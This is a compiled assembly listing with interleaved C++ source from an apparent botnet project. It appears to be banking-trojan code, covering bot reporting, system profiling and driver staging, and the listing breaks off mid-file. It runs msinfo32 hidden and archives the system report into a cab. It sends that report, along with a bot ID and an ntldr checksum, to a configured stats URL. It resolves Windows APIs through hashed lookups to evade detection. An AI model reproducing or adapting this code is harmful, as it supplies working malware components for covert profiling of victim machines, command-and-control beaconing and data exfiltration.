?DebugReportUpdateNtldrCheckSum@@YAXXZ _TEXT SEGMENT _NtldrMd5Buffer$ = -124 ; size = 100 _BotUid$ = -24 ; size = 8 $T93105 = -16 ; size = 8 _Params$ = -12 ; size = 4 _Buffer$ = -8 ; size = 4 _URL$ = -4 ; size = 4 _NtldrMd5$ = -4 ; size = 4 ?DebugReportUpdateNtldrCheckSum@@YAXXZ PROC ; DebugReportUpdateNtldrCheckSum, COMDAT ; 514 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 7c sub esp, 124 ; 0000007cH 00006 53 push ebx 00007 56 push esi ; 515 : DebugReportSettings* settings = DebugReportGetSettings(); 00008 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 0000d 8b f0 mov esi, eax ; 516 : DBGRPTDBG("DebugReportUpdateNtldrCheckSum", ; 517 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 518 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 519 : ); ; 520 : ; 521 : if (!settings->Enabled) return; 0000f 33 db xor ebx, ebx 00011 38 1e cmp BYTE PTR [esi], bl 00013 0f 84 d9 00 00 00 je $LN3@DebugRepor@10 00019 57 push edi ; 522 : string BotUid = GenerateUidAsString(settings->StatPrefix); 0001a ff 76 04 push DWORD PTR [esi+4] 0001d 8d 4d f0 lea ecx, DWORD PTR $T93105[ebp] 00020 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00025 8d 45 f0 lea eax, DWORD PTR $T93105[ebp] 00028 50 push eax 00029 8d 45 e8 lea eax, DWORD PTR _BotUid$[ebp] 0002c 50 push eax 0002d e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00032 59 pop ecx 00033 59 pop ecx 00034 8d 4d f0 lea ecx, DWORD PTR $T93105[ebp] 00037 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 523 : ; 524 : CHAR NtldrMd5Buffer[100]; ; 525 : PCHAR NtldrMd5 = NULL; ; 526 : ; 527 : NtldrMd5 = CalcNtldrMd5(NtldrMd5Buffer, sizeof(NtldrMd5Buffer)); 0003c 8d 45 84 lea eax, DWORD PTR _NtldrMd5Buffer$[ebp] 0003f 6a 64 push 100 ; 00000064H 00041 50 push eax 00042 e8 00 00 00 00 call ?CalcNtldrMd5@@YAPADPADK@Z ; CalcNtldrMd5 00047 89 45 fc mov DWORD PTR _NtldrMd5$[ebp], eax ; 528 : ; 529 : PStrings Fields = Strings::Create(); 0004a e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 530 : AddURLParam(Fields, "cmd", "csup"); 0004f 53 push ebx 00050 68 00 00 00 00 push OFFSET ??_C@_04ODMANJEA@csup?$AA@ 00055 8b f8 mov edi, eax 00057 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 0005c 57 push edi 0005d e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 531 : AddURLParam(Fields, "uid", BotUid.t_str()); 00062 8b 45 ec mov eax, DWORD PTR _BotUid$[ebp+4] 00065 83 c4 18 add esp, 24 ; 00000018H 00068 3b c3 cmp eax, ebx 0006a 75 05 jne SHORT $LN10@DebugRepor@10 0006c b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN10@DebugRepor@10: 00071 53 push ebx 00072 50 push eax 00073 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 00078 57 push edi 00079 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam 0007e 83 c4 10 add esp, 16 ; 00000010H ; 532 : ; 533 : if (NtldrMd5 != NULL) 00081 39 5d fc cmp DWORD PTR _NtldrMd5$[ebp], ebx 00084 74 12 je SHORT $LN1@DebugRepor@10 ; 534 : { ; 535 : AddURLParam(Fields, "cs01", NtldrMd5); 00086 53 push ebx 00087 ff 75 fc push DWORD PTR _NtldrMd5$[ebp] 0008a 68 00 00 00 00 push OFFSET ??_C@_04HMPDOICP@cs01?$AA@ 0008f 57 push edi 00090 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam 00095 83 c4 10 add esp, 16 ; 00000010H $LN1@DebugRepor@10: ; 536 : } ; 537 : ; 538 : PCHAR Params = Strings::GetText(Fields, "&"); 00098 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 0009d 57 push edi 0009e e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 539 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 000a3 50 push eax 000a4 ff 76 08 push DWORD PTR [esi+8] 000a7 89 45 f4 mov DWORD PTR _Params$[ebp], eax 000aa 6a 02 push 2 000ac e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New ; 540 : ; 541 : DBGRPTDBG("DebugReportUpdateNtldrCheckSumm", "go to url='%s'", URL); ; 542 : PCHAR Buffer = NULL; ; 543 : HTTP::Get(URL, &Buffer, NULL); 000b1 53 push ebx 000b2 8d 4d f8 lea ecx, DWORD PTR _Buffer$[ebp] 000b5 51 push ecx 000b6 50 push eax 000b7 89 45 fc mov DWORD PTR _URL$[ebp], eax 000ba 89 5d f8 mov DWORD PTR _Buffer$[ebp], ebx 000bd e8 00 00 00 00 call ?Get@HTTP@@YA_NPADPAPADPAUTHTTPResponseRec@@@Z ; HTTP::Get ; 544 : ; 545 : STR::Free(Buffer); 000c2 ff 75 f8 push DWORD PTR _Buffer$[ebp] 000c5 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 546 : STR::Free(URL); 000ca ff 75 fc push DWORD PTR _URL$[ebp] 000cd e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 547 : STR::Free(Params); 000d2 ff 75 f4 push DWORD PTR _Params$[ebp] 000d5 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 548 : Strings::Free(Fields); 000da 57 push edi 000db e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 549 : DebugReportFreeSettings(settings); 000e0 56 push esi 000e1 e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000e6 83 c4 34 add esp, 52 ; 00000034H ; 550 : } 000e9 8d 4d e8 lea ecx, DWORD PTR _BotUid$[ebp] 000ec e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000f1 5f pop edi $LN3@DebugRepor@10: 000f2 5e pop esi 000f3 5b pop ebx 000f4 c9 leave 000f5 c3 ret 0 ?DebugReportUpdateNtldrCheckSum@@YAXXZ ENDP ; DebugReportUpdateNtldrCheckSum _TEXT ENDS PUBLIC ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@ ; `string' PUBLIC ??_C@_01BJJEKLCA@?$CC?$AA@ ; `string' PUBLIC ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@ ; `string' PUBLIC ?DebugReportCreateConfigReportAndSend@@YAXXZ ; DebugReportCreateConfigReportAndSend EXTRN ?CloseCab@@YAXPAX@Z:PROC ; CloseCab EXTRN ?AddFileToCab@@YA_NPAXPBD1@Z:PROC ; AddFileToCab EXTRN ?CreateCab@@YAPAXPBD@Z:PROC ; CreateCab EXTRN ?GetTempNameA@File@@YAPADXZ:PROC ; File::GetTempNameA ; COMDAT ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@ DB 'sysinfo.txt', 00H ; `string' CONST ENDS ; COMDAT ??_C@_01BJJEKLCA@?$CC?$AA@ CONST SEGMENT ??_C@_01BJJEKLCA@?$CC?$AA@ DB '"', 00H ; `string' CONST ENDS ; COMDAT ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@ CONST SEGMENT ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@ DB ' /report "', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?DebugReportCreateConfigReportAndSend@@YAXXZ _TEXT SEGMENT _si$91709 = -116 ; size = 68 _pi$91708 = -48 ; size = 16 _BotUid$91819 = -32 ; size = 8 $T93120 = -24 ; size = 8 _settings$ = -16 ; size = 4 _MsInfoPath$ = -12 ; size = 4 _CabPath$ = -8 ; size = 4 _ReportPath$ = -4 ; size = 4 ?DebugReportCreateConfigReportAndSend@@YAXXZ PROC ; DebugReportCreateConfigReportAndSend, COMDAT ; 607 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 74 sub esp, 116 ; 00000074H 00006 53 push ebx ; 608 : PCHAR MsInfoPath = NULL; ; 609 : PCHAR MsInfoParam = NULL; ; 610 : PCHAR ReportPath = NULL; ; 611 : PCHAR CabPath = NULL; 00007 33 db xor ebx, ebx 00009 89 5d f8 mov DWORD PTR _CabPath$[ebp], ebx ; 612 : ; 613 : DebugReportSettings* settings = DebugReportGetSettings(); 0000c e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 00011 89 45 f0 mov DWORD PTR _settings$[ebp], eax ; 614 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", ; 615 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 616 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 617 : ); ; 618 : ; 619 : if (!settings->Enabled) return; 00014 38 18 cmp BYTE PTR [eax], bl 00016 0f 84 a5 01 00 00 je $LN47@DebugRepor@11 ; 620 : ; 621 : do ; 622 : { ; 623 : // Получаем путь к msinfo32.exe ; 624 : MsInfoPath = GetPathToMsInfo32(); 0001c e8 00 00 00 00 call ?GetPathToMsInfo32@@YAPADXZ ; GetPathToMsInfo32 00021 89 45 f4 mov DWORD PTR _MsInfoPath$[ebp], eax ; 625 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "GetPathToMsInfo32() return '%s;", MsInfoPath); ; 626 : if (MsInfoPath == NULL) break; 00024 3b c3 cmp eax, ebx 00026 0f 84 8c 01 00 00 je $LN1@DebugRepor@11 ; 627 : ; 628 : // Временный файл для отчета ; 629 : ReportPath = File::GetTempNameA(); 0002c e8 00 00 00 00 call ?GetTempNameA@File@@YAPADXZ ; File::GetTempNameA 00031 89 45 fc mov DWORD PTR _ReportPath$[ebp], eax ; 630 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "GetTempNameA() for report file return '%s;", ReportPath); ; 631 : if (ReportPath == NULL) break; 00034 3b c3 cmp eax, ebx 00036 0f 84 73 01 00 00 je $LN50@DebugRepor@11 0003c 56 push esi ; 632 : ; 633 : MsInfoParam = STR::Alloc(2 * MAX_PATH); 0003d 68 08 02 00 00 push 520 ; 00000208H 00042 e8 00 00 00 00 call ?Alloc@STR@@YAPADK@Z ; STR::Alloc 00047 8b f0 mov esi, eax 00049 59 pop ecx ; 634 : if (MsInfoParam == NULL) break; 0004a 3b f3 cmp esi, ebx 0004c 0f 84 31 01 00 00 je $LN15@DebugRepor@11 ; 635 : ; 636 : PROCESS_INFORMATION pi; ; 637 : STARTUPINFOA si; ; 638 : ; 639 : m_memset(&si, 0, sizeof(si)); 00052 6a 44 push 68 ; 00000044H 00054 8d 45 8c lea eax, DWORD PTR _si$91709[ebp] 00057 53 push ebx 00058 50 push eax 00059 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 640 : m_memset(&pi, 0, sizeof(pi)); 0005e 6a 10 push 16 ; 00000010H 00060 8d 45 d0 lea eax, DWORD PTR _pi$91708[ebp] 00063 53 push ebx 00064 50 push eax 00065 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 641 : m_memset(MsInfoParam, 0, STR::Length(MsInfoParam)); 0006a 56 push esi 0006b e8 00 00 00 00 call ?Length@STR@@YAKPAD@Z ; STR::Length 00070 50 push eax 00071 53 push ebx 00072 56 push esi 00073 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset 00078 83 c4 28 add esp, 40 ; 00000028H ; 642 : ; 643 : // Запускаем скрытно ; 644 : si.cb = sizeof(si); ; 645 : si.wShowWindow = SW_HIDE; ; 646 : ; 647 : m_lstrcat(MsInfoParam, " /report \""); 0007b 68 00 00 00 00 push OFFSET ??_C@_0L@HJGDFBF@?5?1report?5?$CC?$AA@ 00080 33 c0 xor eax, eax 00082 56 push esi 00083 c7 45 8c 44 00 00 00 mov DWORD PTR _si$91709[ebp], 68 ; 00000044H 0008a 66 89 45 bc mov WORD PTR _si$91709[ebp+48], ax 0008e e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat ; 648 : m_lstrcat(MsInfoParam, ReportPath); 00093 ff 75 fc push DWORD PTR _ReportPath$[ebp] 00096 56 push esi 00097 e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat ; 649 : m_lstrcat(MsInfoParam, "\""); 0009c 68 00 00 00 00 push OFFSET ??_C@_01BJJEKLCA@?$CC?$AA@ 000a1 56 push esi 000a2 e8 00 00 00 00 call ?m_lstrcat@@YGXPADPBD@Z ; m_lstrcat ; 650 : ; 651 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateProcess('%s', '%s')", ; 652 : MsInfoPath, MsInfoParam); ; 653 : ; 654 : BOOL process_result = (BOOL)pCreateProcessA(MsInfoPath, MsInfoParam, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 000a7 6a 3c push 60 ; 0000003cH 000a9 68 c7 8a 31 46 push 1177651911 ; 46318ac7H 000ae 6a 01 push 1 000b0 53 push ebx 000b1 e8 00 00 00 00 call ?GetProcAddressEx2@@YAPAXPADKKH@Z ; GetProcAddressEx2 000b6 83 c4 10 add esp, 16 ; 00000010H 000b9 8d 4d d0 lea ecx, DWORD PTR _pi$91708[ebp] 000bc 51 push ecx 000bd 8d 4d 8c lea ecx, DWORD PTR _si$91709[ebp] 000c0 51 push ecx 000c1 53 push ebx 000c2 53 push ebx 000c3 53 push ebx 000c4 53 push ebx 000c5 53 push ebx 000c6 53 push ebx 000c7 56 push esi 000c8 ff 75 f4 push DWORD PTR _MsInfoPath$[ebp] 000cb ff d0 call eax ; 655 : ; 656 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateProcess return %d.(ph=0x%X pid=%d)", ; 657 : process_result, pi.hProcess, pi.dwProcessId); ; 658 : ; 659 : if (process_result == FALSE) break; 000cd 85 c0 test eax, eax 000cf 0f 84 ae 00 00 00 je $LN15@DebugRepor@11 ; 660 : if (pi.hProcess == NULL) break; 000d5 39 5d d0 cmp DWORD PTR _pi$91708[ebp], ebx 000d8 0f 84 a5 00 00 00 je $LN15@DebugRepor@11 ; 661 : ; 662 : if (pi.hProcess != NULL) ; 663 : { ; 664 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "Waiting for msinfo32."); ; 665 : pWaitForSingleObject(pi.hProcess, INFINITE); 000de 6a ff push -1 000e0 ff 75 d0 push DWORD PTR _pi$91708[ebp] 000e3 e8 00 00 00 00 call ??$pushargEx@$00$0MFEDHEPD@$0CO@PAXI@@YAPAXPAXI@Z ; pushargEx<1,3309532403,46,void *,unsigned int> ; 666 : pCloseHandle(pi.hProcess); 000e8 ff 75 d0 push DWORD PTR _pi$91708[ebp] 000eb e8 00 00 00 00 call ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *> 000f0 83 c4 0c add esp, 12 ; 0000000cH ; 667 : } ; 668 : ; 669 : if (pi.hThread != NULL) pCloseHandle(pi.hThread); 000f3 39 5d d4 cmp DWORD PTR _pi$91708[ebp+4], ebx 000f6 74 09 je SHORT $LN8@DebugRepor@11 000f8 ff 75 d4 push DWORD PTR _pi$91708[ebp+4] 000fb e8 00 00 00 00 call ??$pushargEx@$00$0HCDOLANF@$0BB@PAX@@YAPAXPAX@Z ; pushargEx<1,1916711125,17,void *> 00100 59 pop ecx $LN8@DebugRepor@11: ; 670 : ; 671 : DWORD attributes = (DWORD)pGetFileAttributesA(ReportPath); 00101 ff 75 fc push DWORD PTR _ReportPath$[ebp] 00104 e8 00 00 00 00 call ??$pushargEx@$00$0EHFFIHLH@$0FE@PAD@@YAPAXPAD@Z ; pushargEx<1,1196787639,84,char *> 00109 59 pop ecx ; 672 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "'%s' attibutes 0x%X.", ; 673 : ReportPath, attributes); ; 674 : if (attributes == INVALID_FILE_ATTRIBUTES) break; 0010a 83 f8 ff cmp eax, -1 0010d 74 74 je SHORT $LN15@DebugRepor@11 ; 675 : ; 676 : CabPath = File::GetTempNameA(); 0010f e8 00 00 00 00 call ?GetTempNameA@File@@YAPADXZ ; File::GetTempNameA ; 677 : HCAB CabHandle = CreateCab(CabPath); 00114 50 push eax 00115 89 45 f8 mov DWORD PTR _CabPath$[ebp], eax 00118 e8 00 00 00 00 call ?CreateCab@@YAPAXPBD@Z ; CreateCab 0011d 8b f0 mov esi, eax 0011f 59 pop ecx ; 678 : ; 679 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "CreateCab() return 0x%X.", ; 680 : CabHandle); ; 681 : ; 682 : if (CabHandle == NULL) break; 00120 3b f3 cmp esi, ebx 00122 74 5f je SHORT $LN15@DebugRepor@11 ; 683 : ; 684 : AddFileToCab(CabHandle, ReportPath, "sysinfo.txt"); 00124 68 00 00 00 00 push OFFSET ??_C@_0M@OAJHFKOL@sysinfo?4txt?$AA@ 00129 ff 75 fc push DWORD PTR _ReportPath$[ebp] 0012c 56 push esi 0012d e8 00 00 00 00 call ?AddFileToCab@@YA_NPAXPBD1@Z ; AddFileToCab ; 685 : CloseCab(CabHandle); 00132 56 push esi 00133 e8 00 00 00 00 call ?CloseCab@@YAXPAX@Z ; CloseCab ; 686 : ; 687 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "sending sysinfo report."); ; 688 : ; 689 : string BotUid = GenerateUidAsString(settings->StatPrefix); 00138 8b 75 f0 mov esi, DWORD PTR _settings$[ebp] 0013b 83 c4 10 add esp, 16 ; 00000010H 0013e ff 76 04 push DWORD PTR [esi+4] 00141 8d 4d e8 lea ecx, DWORD PTR $T93120[ebp] 00144 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00149 8d 45 e8 lea eax, DWORD PTR $T93120[ebp] 0014c 50 push eax 0014d 8d 45 e0 lea eax, DWORD PTR _BotUid$91819[ebp] 00150 50 push eax 00151 e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00156 59 pop ecx 00157 59 pop ecx 00158 8d 4d e8 lea ecx, DWORD PTR $T93120[ebp] 0015b e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 690 : DebugReportSendSysInfo(BotUid.t_str(), settings->StatUrl, CabPath); 00160 8b 45 e4 mov eax, DWORD PTR _BotUid$91819[ebp+4] 00163 3b c3 cmp eax, ebx 00165 75 05 jne SHORT $LN44@DebugRepor@11 00167 b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN44@DebugRepor@11: 0016c ff 75 f8 push DWORD PTR _CabPath$[ebp] 0016f ff 76 08 push DWORD PTR [esi+8] 00172 50 push eax 00173 e8 00 00 00 00 call ?DebugReportSendSysInfo@@YAXPAD00@Z ; DebugReportSendSysInfo 00178 83 c4 0c add esp, 12 ; 0000000cH ; 691 : ; 692 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "sysinfo report sent."); ; 693 : } 0017b 8d 4d e0 lea ecx, DWORD PTR _BotUid$91819[ebp] 0017e e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString $LN15@DebugRepor@11: ; 694 : while (false); ; 695 : ; 696 : if (ReportPath != NULL) pDeleteFileA(ReportPath); 00183 ff 75 fc push DWORD PTR _ReportPath$[ebp] 00186 e8 00 00 00 00 call ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *> ; 697 : if (CabPath != NULL) pDeleteFileA(CabPath); 0018b 8b 75 f8 mov esi, DWORD PTR _CabPath$[ebp] 0018e 59 pop ecx 0018f 3b f3 cmp esi, ebx 00191 74 07 je SHORT $LN4@DebugRepor@11 00193 56 push esi 00194 e8 00 00 00 00 call ??$pushargEx@$00$0IBPAPANP@$0CD@PAD@@YAPAXPAD@Z ; pushargEx<1,2180051167,35,char *> 00199 59 pop ecx $LN4@DebugRepor@11: ; 698 : ; 699 : if (ReportPath != NULL) STR::Free(ReportPath); 0019a ff 75 fc push DWORD PTR _ReportPath$[ebp] 0019d e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free 001a2 59 pop ecx ; 700 : if (CabPath != NULL) STR::Free(CabPath); 001a3 3b f3 cmp esi, ebx 001a5 74 07 je SHORT $LN51@DebugRepor@11 001a7 56 push esi 001a8 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free 001ad 59 pop ecx $LN51@DebugRepor@11: 001ae 5e pop esi $LN50@DebugRepor@11: ; 701 : if (MsInfoPath != NULL) STR::Free(MsInfoPath); 001af ff 75 f4 push DWORD PTR _MsInfoPath$[ebp] 001b2 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free 001b7 59 pop ecx $LN1@DebugRepor@11: ; 702 : ; 703 : DebugReportFreeSettings(settings); 001b8 ff 75 f0 push DWORD PTR _settings$[ebp] 001bb e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 001c0 59 pop ecx ; 704 : ; 705 : DBGRPTDBG("DebugReportCreateConfigReportAndSend", "finished."); $LN47@DebugRepor@11: 001c1 5b pop ebx ; 706 : } 001c2 c9 leave 001c3 c3 ret 0 ?DebugReportCreateConfigReportAndSend@@YAXXZ ENDP ; DebugReportCreateConfigReportAndSend _TEXT ENDS PUBLIC ??_C@_06BFGAGGII@170_dr?$AA@ ; `string' PUBLIC ?GetDriverUrl@@YA_NPADK@Z ; GetDriverUrl EXTRN ?m_lstrcpy@@YGXPADPBD@Z:PROC ; m_lstrcpy ; COMDAT ??_C@_06BFGAGGII@170_dr?$AA@ ; File e:\projects\progs\petrosjan\bjwj\source\core\dbgtemplates.h CONST SEGMENT ??_C@_06BFGAGGII@170_dr?$AA@ DB '170_dr', 00H ; `string' ; Function compile flags: /Ogspy ; File e:\projects\progs\petrosjan\bjwj\source\common\dbgrpt.cpp CONST ENDS ; COMDAT ?GetDriverUrl@@YA_NPADK@Z _TEXT SEGMENT _BotUid$ = -16 ; size = 8 $T93170 = -8 ; size = 8 _Params$ = -4 ; size = 4 _UrlBuffer$ = 8 ; size = 4 _UrlBufferSize$ = 12 ; size = 4 ?GetDriverUrl@@YA_NPADK@Z PROC ; GetDriverUrl, COMDAT ; 709 : { 00000 55 push ebp 00001 8b ec mov ebp, esp 00003 83 ec 10 sub esp, 16 ; 00000010H 00006 57 push edi ; 710 : DebugReportSettings* settings = DebugReportGetSettings(); 00007 e8 00 00 00 00 call ?DebugReportGetSettings@@YAPAUDebugReportSettings@@XZ ; DebugReportGetSettings 0000c 8b f8 mov edi, eax ; 711 : DBGRPTDBG("GetDriverUrl", ; 712 : "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", ; 713 : settings->Enabled, settings->StatPrefix, settings->StatUrl ; 714 : ); ; 715 : ; 716 : if (!settings->Enabled) return false; 0000e 80 3f 00 cmp BYTE PTR [edi], 0 00011 75 05 jne SHORT $LN2@GetDriverU 00013 32 c0 xor al, al $LN3@GetDriverU: 00015 5f pop edi ; 740 : ; 741 : return true; ; 742 : } 00016 c9 leave 00017 c3 ret 0 $LN2@GetDriverU: 00018 53 push ebx 00019 56 push esi ; 717 : string BotUid = GenerateUidAsString(settings->StatPrefix); 0001a ff 77 04 push DWORD PTR [edi+4] 0001d 8d 4d f8 lea ecx, DWORD PTR $T93170[ebp] 00020 e8 00 00 00 00 call ??0?$TString@D@@QAE@PBD@Z ; TString::TString 00025 8d 45 f8 lea eax, DWORD PTR $T93170[ebp] 00028 50 push eax 00029 8d 45 f0 lea eax, DWORD PTR _BotUid$[ebp] 0002c 50 push eax 0002d e8 00 00 00 00 call ?GenerateUidAsString@@YA?AV?$TString@D@@ABV1@@Z ; GenerateUidAsString 00032 59 pop ecx 00033 59 pop ecx 00034 8d 4d f8 lea ecx, DWORD PTR $T93170[ebp] 00037 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString ; 718 : ; 719 : m_memset(UrlBuffer, 0, UrlBufferSize); 0003c ff 75 0c push DWORD PTR _UrlBufferSize$[ebp] 0003f 6a 00 push 0 00041 ff 75 08 push DWORD PTR _UrlBuffer$[ebp] 00044 e8 00 00 00 00 call ?m_memset@@YAXPBXEI@Z ; m_memset ; 720 : ; 721 : PStrings Fields = Strings::Create(); 00049 e8 00 00 00 00 call ?Create@Strings@@YAPAXXZ ; Strings::Create ; 722 : AddURLParam(Fields, "cmd", "step"); 0004e 6a 00 push 0 00050 be 00 00 00 00 mov esi, OFFSET ??_C@_04CNBNFAL@step?$AA@ 00055 56 push esi 00056 8b d8 mov ebx, eax 00058 68 00 00 00 00 push OFFSET ??_C@_03LGLGIONO@cmd?$AA@ 0005d 53 push ebx 0005e e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 723 : AddURLParam(Fields, "uid", BotUid.t_str()); 00063 8b 45 f4 mov eax, DWORD PTR _BotUid$[ebp+4] 00066 83 c4 1c add esp, 28 ; 0000001cH 00069 85 c0 test eax, eax 0006b 75 05 jne SHORT $LN10@GetDriverU 0006d b8 00 00 00 00 mov eax, OFFSET ??_C@_11LOCGONAA@?$AA?$AA@ $LN10@GetDriverU: 00072 6a 00 push 0 00074 50 push eax 00075 68 00 00 00 00 push OFFSET ??_C@_03MEMNCOEB@uid?$AA@ 0007a 53 push ebx 0007b e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 724 : AddURLParam(Fields, "step", "170_dr"); //170_dr таймер драйвера 00080 6a 00 push 0 00082 68 00 00 00 00 push OFFSET ??_C@_06BFGAGGII@170_dr?$AA@ 00087 56 push esi 00088 53 push ebx 00089 e8 00 00 00 00 call ?AddURLParam@@YAXPAXPAD1K@Z ; AddURLParam ; 725 : ; 726 : PCHAR Params = Strings::GetText(Fields, "&"); 0008e 68 00 00 00 00 push OFFSET ??_C@_01HNPIGOCE@?$CG?$AA@ 00093 53 push ebx 00094 e8 00 00 00 00 call ?GetText@Strings@@YAPADPAXPAD@Z ; Strings::GetText ; 727 : PCHAR URL = STR::New(2, settings->StatUrl, Params); 00099 50 push eax 0009a ff 77 08 push DWORD PTR [edi+8] 0009d 89 45 fc mov DWORD PTR _Params$[ebp], eax 000a0 6a 02 push 2 000a2 e8 00 00 00 00 call ?New@STR@@YAPADKPADZZ ; STR::New 000a7 8b f0 mov esi, eax ; 728 : ; 729 : DBGRPTDBG("GetDriverUrl", "Url='%s':%u (buffer_size=%u)", URL, STR::Length(URL), ; 730 : UrlBufferSize); 000a9 56 push esi 000aa e8 00 00 00 00 call ?Length@STR@@YAKPAD@Z ; STR::Length ; 731 : ; 732 : if (UrlBufferSize < (STR::Length(URL) - 1)) return false; 000af 56 push esi 000b0 e8 00 00 00 00 call ?Length@STR@@YAKPAD@Z ; STR::Length 000b5 83 c4 3c add esp, 60 ; 0000003cH 000b8 48 dec eax 000b9 39 45 0c cmp DWORD PTR _UrlBufferSize$[ebp], eax 000bc 73 13 jae SHORT $LN1@GetDriverU 000be 32 db xor bl, bl $LN13@GetDriverU: 000c0 8d 4d f0 lea ecx, DWORD PTR _BotUid$[ebp] 000c3 e8 00 00 00 00 call ??1?$TString@D@@UAE@XZ ; TString::~TString 000c8 5e pop esi 000c9 8a c3 mov al, bl 000cb 5b pop ebx 000cc e9 44 ff ff ff jmp $LN3@GetDriverU $LN1@GetDriverU: ; 733 : ; 734 : m_lstrcpy(UrlBuffer, URL); 000d1 56 push esi 000d2 ff 75 08 push DWORD PTR _UrlBuffer$[ebp] 000d5 e8 00 00 00 00 call ?m_lstrcpy@@YGXPADPBD@Z ; m_lstrcpy ; 735 : ; 736 : STR::Free(URL); 000da 56 push esi 000db e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 737 : STR::Free(Params); 000e0 ff 75 fc push DWORD PTR _Params$[ebp] 000e3 e8 00 00 00 00 call ?Free@STR@@YAXPAD@Z ; STR::Free ; 738 : Strings::Free(Fields); 000e8 53 push ebx 000e9 e8 00 00 00 00 call ?Free@Strings@@YAXPAX@Z ; Strings::Free ; 739 : DebugReportFreeSettings(settings); 000ee 57 push edi 000ef e8 00 00 00 00 call ?DebugReportFreeSettings@@YAXPAUDebugReportSettings@@@Z ; DebugReportFreeSettings 000f4 83 c4 10 add esp, 16 ; 00000010H 000f7 b3 01 mov bl, 1 000f9 eb c5 jmp SHORT $LN13@GetDriverU ?GetDriverUrl@@YA_NPADK@Z ENDP ; GetDriverUrl _TEXT ENDS PUBLIC ?DebugReportStep1@@YAXXZ ; DebugReportStep1 ; Function compile flags: /Ogspy ; COMDAT 